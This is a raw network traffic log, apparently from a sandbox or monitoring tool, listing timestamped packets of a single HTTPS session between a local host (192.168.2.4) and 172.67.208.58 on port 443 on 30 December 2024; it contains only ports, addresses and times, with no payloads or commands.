Dec 30, 2024 19:10:32.522572994 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.522617102 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.522902966 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.522922039 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.522957087 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.522960901 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.522984982 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.523013115 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.523093939 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.523132086 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.523144007 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.523148060 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.523156881 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.523183107 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.523207903 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.523433924 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.523448944 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.523483038 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.523487091 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.523510933 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.523526907 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.523730993 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.523750067 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.523782969 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.523787022 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.523816109 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.523833990 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.524127007 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.524138927 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.524173021 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.524178982 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.524202108 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.524224043 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.524420023 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.524449110 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.524473906 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.524477959 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.524485111 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.524499893 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.524533033 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.524535894 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.524575949 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.524641037 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.524678946 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.524691105 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.524693966 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.524719000 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.524735928 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.610984087 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.611004114 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.611072063 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.611099005 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.611222982 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.611484051 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.611498117 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.611598969 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.611598969 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.611605883 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.611771107 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.612059116 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.612097025 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.612117052 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.612121105 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.612139940 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.612143040 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.612185955 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.612198114 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.612202883 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.612229109 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.612242937 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.612265110 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.612267971 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.612296104 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.612313986 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.612603903 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.612618923 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.612669945 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.612673998 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.612725973 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.612759113 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.612783909 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.612787008 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.612811089 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.612834930 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.612857103 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.612889051 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.612915039 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.612924099 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.612927914 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.612946987 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.612967968 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.613117933 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.613131046 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.613179922 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.613184929 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.613235950 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.699507952 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.699523926 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.699579954 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.699588060 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.699659109 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.700184107 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.700197935 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.700268984 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.700273037 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.700321913 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.700408936 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.700422049 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.700476885 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.700480938 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.700588942 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.700598955 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.700606108 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.700618029 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.700681925 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.701176882 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.701195002 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.701236010 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.701240063 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.701262951 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.701463938 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.702799082 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.702812910 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.702866077 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.702869892 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.702991962 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.703074932 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.703109980 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.703126907 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.703130960 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.703149080 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.703151941 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.703200102 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.703206062 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.703339100 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.703382015 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.703397036 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.703402042 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.703429937 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.703452110 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.788172007 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.788184881 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.788237095 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.788243055 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.788271904 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.788291931 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.788827896 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.788846970 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.788881063 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.788885117 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.788906097 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.788940907 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.789088011 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.789100885 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.789151907 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.789156914 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.789371967 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.789397001 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.789413929 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.789417982 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.789439917 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.789467096 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.789644957 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.789657116 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.789711952 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.789716005 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.789757013 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.791414022 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.791425943 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.791476965 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.791481972 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.791614056 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.791686058 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.791699886 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.791738987 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.791743040 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.791766882 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.791783094 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.791960001 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.791974068 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.792018890 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.792025089 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.792463064 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.876876116 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.876912117 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.876944065 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.876952887 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.876982927 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.877408028 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.877424002 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.877489090 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.877494097 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.877526045 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.877681971 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.877707005 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.877738953 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.877743959 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.877763987 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.877779007 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.877806902 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.877810955 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.877856016 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.877913952 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.877928019 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.877976894 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.877980947 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.878268003 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.878429890 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.878444910 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.878479958 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.878484964 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.878518105 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.878539085 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.880074978 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.880098104 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.880129099 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.880134106 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.880160093 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.880179882 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.880266905 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.880299091 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.880316019 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.880320072 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.880342960 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.880362988 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.880531073 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.880547047 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.880584002 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.880589962 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.880620003 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.880635023 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.965558052 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.965575933 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.965656996 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.965697050 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.965857029 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.966012955 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.966025114 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.966089010 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.966094971 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.966186047 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.966244936 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.966257095 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.966314077 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.966320992 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.966394901 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.966496944 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.966510057 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.966567993 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.966573954 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.966639996 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.966936111 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.966967106 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.966999054 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.967005968 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.967034101 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.967080116 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.968591928 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.968611002 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.968657017 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.968664885 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.968805075 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.968811035 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.968816042 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.968839884 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.968861103 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.968868017 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.968889952 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.968902111 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.969085932 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.969099045 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.969141960 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.969147921 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.969172001 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.969188929 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:33.054168940 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.054187059 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.054238081 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:33.054250956 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.054409027 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.054426908 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.054461002 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:33.054469109 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.054482937 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:33.054508924 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:33.054747105 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.054759026 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.054800034 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:33.054805994 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.054820061 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:33.054852009 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:33.055099964 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.055114985 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.055154085 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:33.055159092 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.055193901 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:33.055193901 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:33.055345058 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.055357933 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.055413008 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:33.055423975 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.055524111 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:33.057091951 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.057107925 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.057167053 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:33.057173967 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.057368994 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:33.057377100 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.057389021 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.057425022 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:33.057430983 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.057449102 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:33.057496071 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:33.057663918 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.057677984 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.057738066 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:33.057744980 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.057848930 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:33.059073925 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:33.142688990 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.142728090 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.142776966 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:33.142786980 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.142813921 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:33.142971992 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.142990112 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.143043995 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:33.143052101 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.143310070 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.143336058 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.143376112 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:33.143383026 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.143395901 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:33.143573046 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.143590927 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.143625975 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:33.143631935 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.143646002 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:33.144193888 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.144207001 CET	443	49746	172.67.208.58	192.168.2.4
